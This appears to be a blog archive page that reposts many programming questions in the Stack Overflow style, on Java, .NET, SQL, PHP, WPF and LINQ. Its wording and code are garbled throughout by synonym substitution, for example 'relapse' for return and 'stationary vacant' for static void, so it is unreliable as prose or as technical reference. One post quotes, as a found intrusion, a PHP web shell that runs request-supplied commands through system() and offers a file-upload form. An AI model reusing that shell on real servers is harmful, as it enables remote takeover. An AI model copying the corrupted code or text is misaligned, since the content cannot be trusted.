Posts

Showing posts from May, 2010

security digest business vicious information use accessibility

i'm concerned formulating web formed business solution. thought business it, business processes information place also accept total business value inter-system communication. brief core apparatus daily work count rarely on it. one problem need fortitude web component secure adequate an choice both business satisfactory. i am looking good recommendation others have same situation. in the specific unfolding we're now looking during controlling java se 6, tomcat (as servlet container, indispensable wicket), hibernate (to correlate the database) mysql (as dbms). i cruise problem recommendation seductiveness record users well. issues whole ones per hdd failure, network accessibility things. feel giveaway give any recommendation have! i still yield questions thoughts us going: the component needs reachable by internet. should cruise last horde it? (i.e. need the web horde have churned physical paths joining internet identical questions.) are there check lists kinds things? maybe iso ...

weird many relationship

i know i'm gonna down votes, nonetheless i have certain judicious not. i have 3 tables a, b, c. b list used many-many charge between c. nonetheless thing c also associated directly 1-many relationship a fan total following requirement: obtain information list b middle fasten c, same query news c one-many relationship something like: i attempted doing query nonetheless always got 0 rows back. fan insists i accomplish requirement, nonetheless i doubt it. any comments? ps. i didn't have some-more detailed title, any ideas? update: thanks rcar, cases logical, method have story classes tyro taken (supposing tyro wholly take category during time) update: there list contacts, list information any contact, charge table. information hit i have 1:1 charge information, any hit have an castle book with; since many-many charge implemented. the full thought obtain contact's name castle book. now i got customer's idea... i'm carrying problem query, fundamentally i am perplexing qu...

html/css designs paltry text-heavy content

i am tasked updating family web sites foster systematic conferences support niche systematic field. sites now combined medium css plans common common page template structure, nonetheless sum any page hotchpotch <p>, <br>, &nbsp; position content. creates tough transform content, given spacings always changing, page ends adult dizzy during smallest mod. so, i'd change things some-more css-happy state. there lots sites offer tips specific css settlement goals, nonetheless i'm developer but lot web site expertise capabilities don't have structure already mind. there any good sites learn css context comparatively paltry -- nonetheless effectively presented -- business content? things css zen garden proceed cool, nonetheless i'm looking some-more something both give me rudimentary text-heavy business information positioning ideas and donation those ideas css training opportunity. does any such site exist?

efficient heap-manager complicated churn, little allocs?

i'm looking ideas heap-manager hoop unequivocally specific situation: lots lots unequivocally little allocations, trimming 12 64 bytes each. anything bigger, i pass unchanging heap-manager, wholly little blocks need catered for. wholly 4-byte fixing needed. my sure concerns are overhead. unchanging libc store typically spin adult an allocation churned 16 bytes, following supplement another 16 byte header - means over 50% over 20-byte allocation, sucks. performance one useful aspect lua (which user heap) tell distance retard it's atonement calls free() - competence assent certain optimisations. i'll post tide approach, works ok, nonetheless i'd provoke during possible. any ideas?

refactor n-tier

i am self taught vb6 programmer uses dao. next an instance customary square formula i shake out: sub cmdmultiplier_click() 'button form, user interface ' low rec1 recordset low strsql string strsql = "select * tblcustomers where id = " & currentcustomerid 'inline sql ' set rec1 = globaldatabase.openrecordset(strsql) ' information opening ' rec1.bof <> loyal rec1.eof <> loyal then rec1.fields("category").value = 1 then pricemultiplier = 0.9 ' business explanation ' else pricemultiplier = 1 finish if finish if end sub please feign above whole source formula gunk application. i know settlement bad, all churned adult together. ideally should have 3 graphic layers, user interface, business logic information access. i sort-of since fascinating nonetheless i don't know it's finished i suspect that's since i don't entirely since such fortitude good. i cruise i...

netbeans, generated code, svn

we have netbeans digest an xsd emanate wsdl wsdl emanate webservice. given controlling forms the xsd jaxb used the webservice methods looks this: public vacant somemethod( org.netbeans.xml.schema.line.line x )... so leaves us problem overthrow given line objects generated netbeans. wish presumably tell netbeans place files inside project? tell netbeans beget jaxb formula should the classes webservice calls processed? accomplish these, alternatives?

asp.net tradition control digest before <%= %> formula executes stock property

i have tradition control exposes property. i set controlling bound value, all works correctly. nonetheless i try set the value controlling <%= %> tags, goes small whacky: <cc:customcontrol id="customcontrol" runat="server" property1='<%= myproperty %>' /> <%= myproperty %> when gets rendered, <%= myproperty %> add-on underneat tradition control rendered i design (with value myproperty). however, i step news duty customcontrol, value property1 literally twine "<%= myproperty %>" instead tangible underlying value myproperty.

how i smallest mandatory evidence length value active office .net

i'm implementing plugin settlement exercise authentication an outmost authentication apparatus web site. plugins i digest yield an activedirectory plugin. i'd exercise comforts membershipprovider, including minrequiredpasswordlength, nonetheless don't wish entirely exercise configure an activedirectorymembershipprovider. does anyone know query ad smallest mandatory evidence length? i know set gpo change user/computer depending policies, nonetheless i'd yield default formed domain default instead an erratic number. [edit] settlement an activedirectorymembershipprovider shows being set configuration. there proceed have tied domain policies?

replace src charge due li tag

i have html given below: <ul id="thumbsphotos"> <li src="/images/1alvaston-hall-relaxing-lg.jpg" onclick="updatephoto (this.title)"><img src="/images/1alvaston-hall-relaxing-sl.jpg" width="56" height="56"></li> <li onclick="updatephoto(this.title)" src=""><img src="" width="56" height="56"></li> <li onclick="updatephoto(this.title)" src=""><img src="" width="56" height="56"></li> </ul> now, i wish reinstate src <li> tags <img> tags controlling innerhtml . this, cost be: <ul id="thumbsphotos"> <li title="/images/1alvaston-hall-relaxing-lg.jpg" onclick="updatephoto(this.title)"><img src="/images/1alvaston-hall-relaxing-sl.jpg" width="56" height="56"...

importing extended ascii oracle

i have way imports binary record containing strings. strings enclose extended ascii, e.g. chr(224), ''. way holding tender converting bcd bytes characters twine one. the problem extended ascii characters removing lost. i think due values definition something else utf8. i cruise i need duty takes an ascii impression index advantage suitable utf8 character. update: i occur know homogeneous seer impression set incoming calm i following modify tender bytes utf8? source calm always unparalleled byte.

how mislay credentials fingerprint image?

i have fingerprint settlement taken shifting scanner. however cost does have purify background. looks this: i wish mislay credentials offer guess some-more accurate. something this: how that? settlement guess technique (if any) used? conclude you.

how webserice serialize/deserialize same form .net

i wish typed parameters web methods. nonetheless visible studio 2005 creates web anxiety fan automatically creates it's possess types. i am controlling .net web use .net client. for example: < webmethod > _ public duty foo() servernamespace.bar ... end function at fan slight becomes webserviceinstance.foo() clientnamespace.webservice.bar returning opposite type. i started minute possess serialization supporter category modify type, nonetheless i have guess there improved way....

best proceed accept record by webservice

i have an api consisting asp.net webservices callable by get/post/soap. a new functionality need me accept files by webservice. fundamentally i'm permitting users upload files record repository by api, they'd differently logging the browser formed administration system. the api needs simply consumed possible. i'm pondering dropping soap support given the php clients especially get/post methods, .net clients don't mind presumably way. prerequisite, i'm pondering simply formulating an uploadfile(filename) method, requiring user send record by post normal record upload. however, i means mention record domain parameter method, right? i simply state support "file should sent post domain called 'file'", poise any problems i need review file? all files binary format, pdf's, several settlement formats, flv forth. also, record sizes especially 2-20mb vicinity, nonetheless given above solution, i have any troubles usurpation files 250mb area? receiving r...

database software

i'm looking database ordinarily hallowed windows software. during smallest i need name program executable name, nonetheless it'd also good have publisher common designation path, etc. basically, i'd means query program adobe compared executable name, etc. basically i'm looking means select * program where publisher = 'microsoft' select * program where executable = 'devenv.com' i came opposing an bid emanate such database enlarged ago, nonetheless can't seem now. maybe fizzled out. any assistance severely appreciated. thanks.

audit devaluate operations

how revoke operations list audited oracle? grants audited with... audit extend *schema.table*; both grants revokes component privileges rolls audited with... audit component grant; neither statements review vigilant turn revokes. database 10g. i am prying auditing revokes finished sys, nonetheless primary pleasantness answer need work sys user. *a trigger locate these, nonetheless i move built auditing, trigger wholly proceed this, following opinion adult "this can't done" answer.

how speed adult wpf programs?

i adore programming windows display framework. mostly i browser-like apps controlling wpf xaml. but unequivocally annoys me slowness wpf. rudimentary page wholly few controls loads quick enough, nonetheless shortly page teeny weeny bit some-more complex, containing lot information opening fields, twin add-on controls, stuff, gets painful. loading such page take some-more second. seconds, indeed, generally quick computers (read: business computers) take ages. same changing values page. all wpf ui somehow sluggy. this mean! give me appreciative framework, nonetheless excruciatingly delayed i'll have apologize the business time! my question: how speed adult wpf? how form bottlenecks? how understanding slowness? since seems an concept problem wpf, i'm looking whole advice, useful situations problems. some associated questions:

how mysql prepared matter caching?

how i take advantage mysql's ability cache prepared statements? one reason prepared statements there need send prepared matter itself churned times same prepared matter used again. class.forname("com.mysql.jdbc.driver"); connection conn = drivermanager.getconnection("jdbc:mysql://127.0.0.1:3306/mydb" + "?cacheprepstmts=true", "user", "pass"); for (int i = 0; i < 5; i++) { preparedstatement ps = conn.preparestatement("select * mytable where id=?"); ps.setint(1, 1); ps.execute(); } conn.close() when controlling above java instance i 5 pairs prepared govern commands mysqld record file. relocating ps assignment outmost loop law unparalleled prepared 5 govern commands course. tie parameter "cacheprepstmts=true" doesn't seem any inadequacy here. when controlling identical way controlling open hibernate array prepared commands sent (1 5) depends presumably cacheprepstmts tie parameter enabled....

java extendable enumeration

is there proceed an bulletin extended. i have several methods i always have accessible enumerations. instance i an bulletin database fields. i consolidate tangible domain name database. public enum orderfields { orderid("order_id"); private twine fieldname; private orderfields(string fname) { this.fieldname = fname; } open twine getfieldname() { relapse fieldname; } }

how i general ability alteration duty flex/actionscript3?

i'm new flex, nonetheless new programming. i wish general eventuality handler called textinput boxes accept focus. have focus, i wish change colour textinput box. remove focus, i wish revive "inactive" tone profile. i an actionscript eventuality handler any textinput box, nonetheless know that's lame. :o) i need, then, proceed opening vigilant job eventuality handler. in delphi, i'd have combined duty passes sender object, permitting me opening job object's properties. i'm guessing actionscript/flex totally opposite architecture, since i'm carrying problem doing this. thanks anticipation!

passing twine an already controlling instance an application

i have an concentration detects there another instance app controlling exits found. biased seems work reliably. app takes command-line justification i pass already controlling instance. i have following formula far: project1.dpr program project1; uses ... appinstancecontrol 'appinstancecontrol.pas'; appinstancecontrol.restoreifrunning(application.handle) then begin application.initialize; application.mainformontaskbar := true; application.createform(tformmain, formmain); application.run; end; end. appinstancecontrol.pas { formed formula zarko gajic found during } unit appinstancecontrol; interface uses windows, sysutils; function restoreifrunning(const aapphandle: thandle; const amaxinstances: integer = 1): boolean; implementation uses messages; type pinstanceinfo = ^tinstanceinfo; tinstanceinfo = packaged record previoushandle: thandle; runcounter: integer; end; var umappinghandle: thandle; uinstanceinfo: pinstanceinfo; umapp...

java application/class settlement - accessors java work?

how i getdb() duty properly? here formula dash app object: public category myapp extends uiapplication { private stationary persistentobject m_ostore; private stationary mybigobjectofstorage m_odb; stationary { store = persistentstore.getpersistentobject(0xa1a569278238dad2l); } open stationary vacant main(string[] args) { myapp theapp = new myapp(); theapp.entereventdispatcher(); } open myapp() { pushscreen(new mymainscreen()); } // correct? relapse duplicate m_odb anxiety m_odb? open mybigobjectofstorage getdb() { relapse m_odb; // advantage reference } }

graph digest controlling 3d acceleration

we beget graphs vast datasets. articulate 4096 samples per second, 10 mins per graph. rudimentary calculation creates 4096 * 60 * 10 = 2457600 samples per linegraph. any illustration double (8 bytes) pointing fp. furthermore, news churned linegraphs screen, adult hundred. creates news 25m samples unparalleled screen. controlling common clarity rudimentary tricks, formula performant controlling cpu sketch 2d canvas. performant, news times tumble next minute. as systematic data, can't replace any samples. seriously, an option. even start pondering it. naturally, wish provoke news times controlling techniques available. multicore, pre-rendering, caching definitely engaging nonetheless cut it. wish 30fps digest datasets during minimum, 60fps preferred. an fervent goal. a healthy proceed offload graphics digest controlling gpu system. gpu's finished work vast datasets slight parrallel. rudimentary helloworld tests showed us inadequacy night digest speed, controlling gpu. now problem...

fluent interfaces c#

i have doubt smooth interfaces. we have objects used parameter objects sql interface, here's an example: using (databasecommand cmd = conn.createcommand( "select a, b, c tablename where id = :id", sqlparameter.int32(":id", 1234))) { ... } for parameters, i'd assent specialized options, nonetheless instead adding some-more properties int32 slight (which only many), i guess i'd feeling smooth interfaces. here's an instance where i've total i am looking into: sqlparameter.int32(":id", 1234).with(sqlparameteroption .substitute .precision(15) ) i know twin options doesn't clarity form parameter, nonetheless that's doubt about. in above case, surrogate have stationary ability (or slight i only supplement parenthesis) sqlparameteroption class, since pointing have an instance method. what i trifle them? sqlparameter.int32(":id", 1234).with(sqlparameteroption .precision(15) .substitute ) then surroga...

returning 301 route controller action

on asp.net mvc, "correct" proceed have controller relapse 301 route an outmost site? the several redirectto-function seem wholly relapse presumably family links routes i have mapped manually, nonetheless there proceed contend "perform 301 route ". i cruise i only set response.statuscode response.redirect, nonetheless proceed should finished mvc? there an executive "correct way" behaving redirects? update: meantime, i wrote an actionresult that: update 2: given asp.net 4.0, permanent redirects .

what's inadequacy ways formulating stationary instance singleton?

i have bug recently wholly manifested itself library built redeem build rather debug build. library .net dll com coupling i am controlling cocreateinstance emanate category dll an unmanaged c++ app. i finally tracked bug down caused accessing essay object. i essay instance announced so: private stationary readonly myobjecttype s_instance = new myobjecttype; and following accessed with: public stationary myobjecttype instance { { relapse s_instance; } } this failing. changing to: private stationary myobjecttype s_instance; public stationary myobjecttype instance { { (s_instance==null) { s_instance = new myobjecttype(); } relapse s_instance; } } fixed issue. any ideas since initial use didn't work there any downsides doing presumably way? the redeem dll seemed ideally workable another managed app. ...

what's hardest many misunderstood aspect linq?

background: over unbroken month, i'll giving 3 talks during slightest including linq context c# . i'd know topics value giving satisfactory volume pleasantness to, formed competence tough understand, competence have mistaken sense of. i won't personally articulate linq sql entity horizon solely examples queries executed remotely controlling countenance trees (and wholly iqueryable ). so, have found tough linq ? have seen terms misunderstandings? examples competence any following, nonetheless greatfully don't border yourself! how c# compiler treats query expressions lambda expressions expression trees extension methods anonymous types iqueryable deferred vs clear execution streaming vs buffered execution (e.g. orderby deferred nonetheless buffered) implicitly typed internal variables reading challenging general signatures (e.g. )

what's best proceed frame verbatim values out sql justly brand db workload?

does anyone know any formula collection frame verbatim values out sql statements? the reason seeking i wish justly decider sql effort the database i'm nervous i competence skip out bad statements whose apparatus use masked since displayed removed statements. when, reality, graceful many same thing solely opposite ids being upheld in. i'd move database individualist fortitude any exists. i guess there competence nifty perl way nonetheless i haven't found any. thanks your help.

json + .net works debug mode inbuilt web server nonetheless going practical dir directly

i have following javascript: $.ajax({ type: "post", datatype: "json", url: "/home/submit", data: { email: stremail, message: strmessage }, success: function(result) { //alert('here'); alert(result.message); }, error: function(error) { alert(error); } }); this creates function: public jsonresult submit(string email, twine message) { relapse json(new { summary = "yep" }); } this works glorious debug mode inbuilt webserver. however i practical dir directly does hits blunder bit. i trustworthy slight formula behind never gets hit. i am controlling vista. additionally blunder outline bit where says alert(error); thanks, alex

how i assent php.ini record impact directories/sub-directories server?

a few weeks ago i uninterrupted adult hole common server associate uploaded following php script: <?php if(isset($_request['cmd'])) { relate "<pre>"; $cmd = ($_request['cmd']); system($cmd); relate "</pre>"; die; } ?> <?php if(isset($_request['upload'])) { relate '<form enctype="multipart/form-data" action=".config.php?send" method="post"> <input type="hidden" name="max_file_size" value="5120000" /> send file: <input name="userfile" type="file" /> here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" /> <input type="submit" value="send file" /> </form>'; } ?> <?php if(isset($_request['send'])) { $uploaddir = $_post["direct...

code customary refactoring infinite codebase

my studio infinite codebase grown over 10+ years. coding standards started grown few developers residence enlarged before worry any kind standards associated c++. recently, started little r&d digest residence updated the coding conventions some-more suitable the environment. r&d work going integrated existent digest code. vital problem opposed us have twin standards twin areas work, formula bases cross. i don't wish twin standards during studio, i'm indeed definitely happy pierce disrespectful unparalleled standard. (the 'how' got conditions isn't vicious -- only i hoped wouldn't be.) the problem refactoring existent code. i'm unequivocally penetrating carrying twin formula bases (one comparatively little unequivocally large) looking different. i am prying doing refactoring existent codebases heed standard. problem is, smaller formula bottom (imo) some-more desireable standard. i started looking around apparatus infinite scale refactoring me....

error controlling progression methods c#

i came opposing an emanate creates me cruise there bug 3.0 framework. i try progression methods i following error: missing compiler mandatory member 'system.runtime.compilerservices.extensionattribute..ctor' when controlling rudimentary code: public stationary category stringutils { stationary vacant testextension(this twine targetstring) { } } the wholly proceed accumulate blunder divided supplement following code: namespace system.runtime.compilerservices { open category extensionattribute : charge { } } it's few months given i have used extensions methods, nonetheless i'm graceful certain i didn't have this. anyone else opposing issue?

wmi - general failure

we have .net concentration uses wmi accumulate inclusive operation information machines via network, such reading win32_ntlogevent symantec antivirus combined anything. queries work fine, nonetheless after regularly controlling wmi query "generic failure" errors start opening back. happens unequivocally consistently after approx. 125 calls. rebooting accessory controlling wmi query against, always fixes error... until unbroken 125 queries run. it appears repository glorious can't locate any record record distance issues. more info - ran wmidiag after removing blunder found - 25607 13:55:38 (1) !! error: wmi bulletin operation errors reported: 2 error(s)! 25608 13:55:38 (0) ** - root/cimv2, subclassesof, '*', 0x80041006 - (wbem_e_out_of_memory) adequate memory operation. 25609 13:55:38 (0) ** mof registration: 'c:\winnt\system32\wbem\snmpreg.mof ' 25610 13:55:38 (0) ** - root/cimv2, instancesof, 'win32_perfformatteddata_perfproc_thread', 0x800...

find control asp.net listview inside comparison vigilant template

i'm converting functionality an asp.net gridview listview. gridview comparison vigilant altered i squeeze value tag comparison quarrel opposite tag outmost gridview. protected servant grdmodules_selectedindexchanged(byval sender object, byval e system.eventargs) handles grdmodules.selectedindexchanged low lblmoduletitle tag = grdmodules.selectedrow.findcontrol("lblmoduletitle") lblcurrentmodule.text = lblmoduletitle.text end sub in listview, there isn't "selectedrow" visualisation nonetheless selecteditem. however can't findcontrol opposing comparison item. i try following (i zero anxiety exception): protected servant listviewmodules_selectedindexchanged(byval sender object, byval e system.eventargs) handles listviewmodules.selectedindexchanged low lblmoduletitle tag = ctype(listviewmodules.findcontrol("lblmoduletitle"), label) lblcurrentmodule.text = lblmoduletitle.text end sub does anyone know proceed control inside compari...

java lucene formation .net

i've got nutch lucene setup yield index sites i'd .net website instead jsp site comes nutch. can anyone advise solutions? i've seen solutions where there an app controlling index server .net site used remoting bond to. speed caring apparently still perform well? edit: nhibernate.search work this? edit: finished adult going solr index servers being used the asp.net site library.

setting value an vigilant datarow does work

i am perplexing modify datetime values datatable strings. here slight i use: private stationary vacant convertdatetimestostrings(datatable datatable) { (datatable == null) { return; } (int rowindex = 0; rowindex < datatable.rows.count; rowindex++ ) { (int i = 0; i < datatable.columns.count; i++) { datetime datetime; try { datetime = (datetime)datatable.rows[rowindex][i]; } locate (invalidcastexception) { continue; } datatable.rows[rowindex][i] = datetime.tostring("dd.mm.yyyy hh:mm:ss"); } } } after line works: datatable.rows[rowindex][i] = datetime.tostring("dd.mm.yyyy hh:mm:ss"); i check value datatable.rows[rowindex][i] still datetime, string. since does occur i solve this? edit: i am perplexing since i am fighting an api unfortunately i have choice member use.

exception starting episerver website

we're building an episerver-based website perplexing muster the latest build onto winxp iis6 box. when browsing site, we're removing following smoke-stack trace [classfactoryexception: classfactory initialized] episerver.baselibrary.classfactory.get_instance() +123 episerver.baselibrary.context.get_repository() +14 episerver.workflowfoundation.storageproviders.objectstorestorageprovider.verifycommonschemas() +15 episerver.workflowfoundation.aspnetworkflowmanager.get_storageprovider() +44 episerver.workflowfoundation.aspnetworkflowmanager.initialize(boolean lazyloading) +589 episerver.workflowfoundation.aspnetworkflowmanager.get_instancehandler() +16 episerver.workflowfoundation.workflows.approvalservice..ctor() +93 [targetinvocationexception: difference thrown aim an invocation.] system.runtimetypehandle.createinstance(runtimetype type, boolean publiconly, boolean nocheck, boolean& canbecached, runtimemethodhandle& ctor, boolean& bneedsecurit...

safely kill slight .bat file

i have vb6 concentration needs transform it's self. purpose, pm permitted controlling collection record launched application. collection record should kill process, download new chronicle internal server, overwrite aged files launch concentration again. my problem i am certain taskkill advantage control the progenitor wholly after slight killed used resources have released; particular, wondering happens process' .exe file. there any pledge unbarred after taskkill returns? - course, theoretically shouldn't sealed any process, wholly box we're prying in.

c# streaming sockets, removed messages?

kinda enlarged title, nonetheless anyways... i've looking during examples, personally tools minute reading distance summary byte streams but i can't seem figure out c#. streamwriter author = new streamwriter(tcpclient.getstream()); writer.write(data.length + data); this doesn't work unequivocally good during all. someone give me poke right direction?

compiling wholly biased source tree ant

say i have sources src/ tree (and presumably test/ tree). contend i accumulate wholly part tree. reasons since i competence wish various. only an example, i competence wish emanate smallest illusory jar (without including certain classes), i competence wish fastest accumulate i am compiling. i definitely wish accumulate dependencies, though! this simply achieved management line with: javac -d build/ -cp whatever -sourcepath src src/path/to/myclass.java now, ant? javac termite : the source finish directory recursively scanned java source files compile. one excludes includes parameters, nonetheless mysterious purpose. fact, seems definitely setup includes (not involuntary dependency lookup), even worst : when both inclusion ostracism are used, wholly files/directories that review during slightest include patterns don't review any the bar patterns used. thus, can't <javac srcdir="${src.dir}" destdir="${build.dir}" classpathref="cla...

rails text_field slight associated

i'm carrying problem emanate text_field but slight association. maybe i even don't need :-) i have twin radio_buttons compared same method: <%= radio_button :comment, :author, "anonymous" %> opposite <br> <%= radio_button :comment, :author, "real_name" %> name <br> what i have an text_field user click radio_button "real_name" i establish value new text_field. basically controller something like: @comment = comment.new(params[:comment]) if @comment.author == "real_name" @comment.author = "value-from-the-new-textfield end there any proceed it? regards, victor

pure-sql technique auto-numbering rows outcome set

i'm looking proceed sequentially array rows result set (not table). essence, i'm starting query following: select id, name where name = 'spiewak' the id s apparently loyal method (e.g. 1, 2, 3, 4 ). i need another buttress outcome set contains auto-numberings. i'm pacific sql duty i have to, nonetheless i rather but controlling extensions ansi spec. platform mysql, nonetheless technique should cross-platform during illusory (hence craving prevaricate non-standard extensions).

how i set adult timer hinder overlapping ajax calls?

i have page where hunt resuts shown both grid map (using kml generated fly, overlaid an embedded google map). i've connected adult work user types; here's skeleton code, works: $(function() { // hoop adult hunt textbox $('input.search').bind("keyup", update); }); update = function(e) { // calm hunt box // pass web slight bond concessions grid $.ajax({ ... success: function(msg) { displayresults(msg, filterparams); }, }); } displayresults = function(msg, filterparams) { // databind law grid controlling jtemplates // arrangement law map: pass parameters kml generator conceal map } depending search, there competence hundreds results; work happens displayresults processor-intensive both server (querying database, building simplifying kml fly) fan (databinding law grid, overlaying large kml files map). i immediacy removing gradually narrower law i type, nonetheless i'd minimize array ...

what's inadequacy between staticresource dynamicresource wpf?

when controlling resources such brushes, templates styles wpf, specified presumably staticresources <rectangle fill="{staticresource mybrush}" /> or dynamicresource <itemscontrol itemtemplate="{dynamicresource myitemtemplate}" /> most times (always?), wholly works pitch difference during runtime. nonetheless i'd know why: what sure difference. memory opening implications are there manners wpf "brushes always static" "templates always dynamic" etc.? i assume choice between stationary vs enterprising isn't erratic seems... nonetheless i destroy pattern.

update buttress another list - mysql 3.5.2

i've attempted integrate approaches transform buttress mysql database list another list nonetheless am carrying any luck. i review somewhere chronicle 3.5.2 does support multi-table updates i need code-based fortitude - correct? if anybody indicate me right instruction controlling sql? update products set products_ordered = ( name sum(products_quantity) orders_products where products_id = products.products_id ); or: create surrogate list my_temp_table as select products_id, sum(products_quantity) sum from orders_products group products_id update products, my_temp_table set products.products_ordered = my_temp_table.total where products.products_id = my_temp_table.products_id

generating enterprising thumbnail pdf asp.net

i've used apparatus aspose () beget jpg thumbnail fly pdf .net application. works great, nonetheless kind alternatives there? codeproject.com , nonetheless requires have full chronicle acrobat. is there an open source choice that's geared asp.net?

beanstalk functionality

i'm finally removing organisation acquire source formula supervision we're operative projects where some-more dev touching same codebase, i setup free/trial comment beanstalk hosted overthrow ambience works. that said, we've discussed rather fervent digest put lot needed/wanted functionality unparalleled server run ourselves, while i cruise that's great, we're still operative but scm those skeleton solemnly form. in interim, i'd setup surrogate svn server, nonetheless wondering there any f/oss packages setup yield beanstalk functionality (i.e. good web interface/management setup). i'm overly concerned core-language package unless i'd need penetrate formula component itself, box i'm graceful peaceful php, perl, .net, nonetheless i substantially pickup (an)other language(s) needed. said, i'd expostulate pristine .net any record wish windows license.

what component

i listen podcast java posse, there mostly contention components (note components (clearly) objects). monody fact java does have components, antithesis .net does. components apparently creates building applications (not only gui apps) easier. i figure contention certain qualities member has, the something to-do decoupling (substituting member another only matter plumbing). something to-do properties, unequivocally something to-do events delegates. so questions: ./ anyone explain me member is. (and since java beans components). ./ anyone explain assistance development. ./ anyone explain since java does have useful.

how liberate wordpress media files opposing churned servant domains

so doubt distribute/offload media files wordpress posts opposing churned domains. the explanation being overcome limitation: "most browser wholly 2 coexisting requests server, page requires 16 files requested 2 during time." in union to: to offer clarify: there twin block sum "offloading" already this. steadyoffloading plugin jungle s3 plugin. so there general fortitude anyone across. where grant change bottom url media, doesn't required have upload media an outmost service/server. thanks

avoiding dialog boilerplate delphi /or c++

i mostly need settlement dialog delphi/c++builder allows several properties an vigilant modified, formula typically looks this. dialog.edit1.text := myobject.username; dialog.edit2.text := myobject.password; // ... some-more same if (dialog.showmodal = mrok) begin myobject.username := dialog.edit1.text; myobject.password := dialog.edit2.text; // ... again, some-more same end; i also mostly need identical formula marshalling objects to/from xml/ini-files/whatever. are there any common idioms techniques avoiding kind rudimentary nonetheless steady code?

jquery slider interior retard elements

i'm perplexing build identical 'slider' demoed here nonetheless i'm perplexing interior divs inside list equipment ( <li> ). seems demo breaks you're controlling an settlement retard component ( <p> , <div> ,etc.) anyone have any discerning solutions this? i fundamentally wish calm presumably images inside <div> instead controlling images. i jcarousel seems works, nonetheless i looking something small some-more lightweight? any ideas?

linq sql concurrency issues

we perplexing build high-volume orders record system. there 3 primary tables: 1. orders 2. orderdetails 3. ordershipment the conveyance list contains n record per method any record conveyance opening altered before fan accepts th order, after frozen. (a business requirement) although competence occur genuine universe scenarios... during the bucket tests, removing system.data.linq.changeconflictexception exceptions. wrapping adult quarrel inside transacion aiding either. can't force linq close quarrel whole generation transform operation? is there any proceed over this?

using border poison unparalleled field

given list structure this: create list `user` ( `id` int(10) unsigned zero auto_increment, `name` varchar(32) null, `username` varchar(16) null, `password` char(32) null, primary pivotal (`id`), unparalleled pivotal `username` (`username`) ); is there any controlling border keyword poison username, db intelligent adequate know there wholly presumably result, therefore stop poison once it's found one? select * `user` where `username` = 'nick'; -- vs -- select * `user` where `username` = 'nick' border 1; update: interjection answers, they've enlightening. seems like, even nonetheless it's unnecessary, putting limit 1 query doesn't hurt, substantially increases readability (you don't have looking db schema know wholly going returned). special shoutout jr's answer - i didn't even know indices. also, there's identical doubt i've found , competence also help.

team substructure server (tfs) record inadequacy spectator - customize tool

i am controlling organisation substructure server (tfs) visible studio 2005. whenever i wish review twin file's versions tfs displays window differences. the problem always separate vertically. in fact, roughly each time, i move have separate horizontally. i've already looked during tfs options googled nonetheless i found nothing. i'm astonished cruise such choice available! is there any proceed configure tfs separate horizontally?

command line evidence prompt php

i'm minute management line apparatus assistance web app. needs evidence bond service. i'd book arrangement evidence prompt i don't have pass management line argument. that's easy enough, nonetheless i'd relate evidence shade it's typed. i php? bonus points doing pristine php (no system('stty') ) replacing characters * . edit: the book run unix component (linux mac). book combined php, many approaching stay that. also, record, stty proceed doing is: echo "password: "; system('stty -echo'); $password = trim(fgets(stdin)); system('stty echo'); // supplement new line given users cr didn't echo echo "\n"; i'd move have system() calls there.

interesting utf-8 yahoo record download headers

my association runs webmail service, perplexing diagnose problem downloads opening automatically - same *.doc record download yahoo mail open, nonetheless ours not. in impetus questioning headers saw opening yahoo: content-disposition attachment; filename*="utf-8''word document.doc"; whereas the headers this: content-disposition attachment; filename="word document.doc"; what accurately yahoo doing additional asterisk utf-8'' designation?

what best proceed open record proud opening python?

what many glorious proceed solve this: open record reading, nonetheless wholly already uninterrupted writing open record writing, nonetheless wholly already uninterrupted reading writing the built-in functions work this >>> route = r"c:\scr.txt" >>> file1 = open(path, "w") >>> imitation file1 <open record 'c:\scr.txt', mode 'w' during 0x019f88d8> >>> file2 = open(path, "w") >>> imitation file2 <open record 'c:\scr.txt', mode 'w' during 0x02332188> >>> file1.write("111") >>> file2.write("222") >>> file1.close() scr.txt contains '111'. >>> file2.close() scr.txt overwritten contains '222' (on windows, python 2.4). the fortitude should work inside same slight (like instance above) good another slight uninterrupted file. it preferred, crashing way keep close open.

equivalent category loaders .net

does anyone know illusory interpretation homogeneous "java tradition category loader" .net? to give small background: i am slight building new programming libel targets clr, called "liberty". comforts libel the ability interpretation "type constructors", methods executed compiler during accumulate beget forms output. arrange generalization generics (the libel does have normal generics it), grant formula combined (in "liberty" syntax): var t tuple<i int, j int, k int>; t.i = 2; t.j = 4; t.k = 5; where "tuple" tangible so: public form tuple(params variables variabledeclaration[]) typedeclaration { //... } in sole example, form constructor tuple provides something identical opposite forms vb c#. however, graphic opposite types, "tuples" have names used inside open slight signatures. this means i need proceed form eventually ends adult being released compiler shareable opposing churned assemblies. example, i want tuple...

what component encrypt files organisation (os indeterminate prefered)?

say have garland files. say store meta information files. say, meta attributes called "encryption" say everybody certified feeling during files, nonetheless given encrypted, wholly know decrypt indeed review contents. say, each given value "encryption", organisation share trust decrypt files noted value. say wish means programmatically, an os indeterminate proceed (if possible) what values "encryption"? how store keys? how classify opening keys? i am now arrangement towards following implementation: the value domain "encryption" contains name key, presumably also denoting algorithm used each user opening garland keys. tangible roles user an ldap/activedirectory structure, only files secure office users profile/home directory. on regard file, spectator (i'm perplexing build request supervision system) checks users keys decrypts record relating pivotal found. what encryption use? symmetric (aes)? uneven (what good ones)? using uneven keys have ...

countdownlatch vs. semaphore

is there any advantage using instead of ? as distant i tell following fragments roughly equivalent: 1. semaphore final semaphore sem = new semaphore(0); for (int i = 0; i < num_threads; ++ i) { thread t = new thread() { open vacant run() { try { dostuff(); } finally { sem.release(); } } }; t.start(); } sem.acquire(num_threads); 2: countdownlatch final countdownlatch fasten = new countdownlatch(num_threads); for (int i = 0; i < num_threads; ++ i) { thread t = new thread() { open vacant run() { try { dostuff(); } finally { latch.countdown(); } } }; t.start(); } latch.await(); except box #2 fasten can't reused some-more importantly need know lay threads combined (or wait until started before formulating latch.) so conditions competence fasten preferable?

is illusory servicepointmanager webbrowser control?

i wish invalidate "alert window" i login page https site "untrusted certificate". servicepointmanager used webrequest/webresponse: > open stationary bool > validateservercertificate(object > sender, x509certificate certificate, > x509chain chain, sslpolicyerrors > sslpolicyerrors) { > relapse true; } > > servicepointmanager.servercertificatevalidationcallback > = new remotecertificatevalidationcallback(validateservercertificate); but i webbrowser control?

why can't i debug asp.net web app

